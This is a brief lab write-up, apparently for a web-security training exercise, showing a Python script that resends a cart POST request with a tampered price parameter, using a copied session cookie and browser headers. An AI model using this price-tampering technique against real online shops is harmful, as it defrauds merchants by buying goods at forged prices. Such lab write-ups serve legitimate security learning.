This lab doesn't adequately validate user input so all I needed to do is to intercept the request at /cart and change the price parameter to something I can work with.
I wrote this very simple python script to send a POST request to /cart with the custom price value.
Copy import requests
url = "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net:443/cart"
cookies = {"session": "pE92GOdfUL7wYzxtXM9HOOAsPygiCs0K"}
headers = {"Cache-Control": "max-age=0", "Sec-Ch-Ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "Origin": "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://0aa400bb04f9fd7a8102f77a000c005e.web-security-academy.net/product?productId=1", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Priority": "u=0, i"}
data = {"productId": "1", "redir": "PRODUCT", "quantity": "1", "price": "1"}
requests.post(url, headers=headers, cookies=cookies, data=data)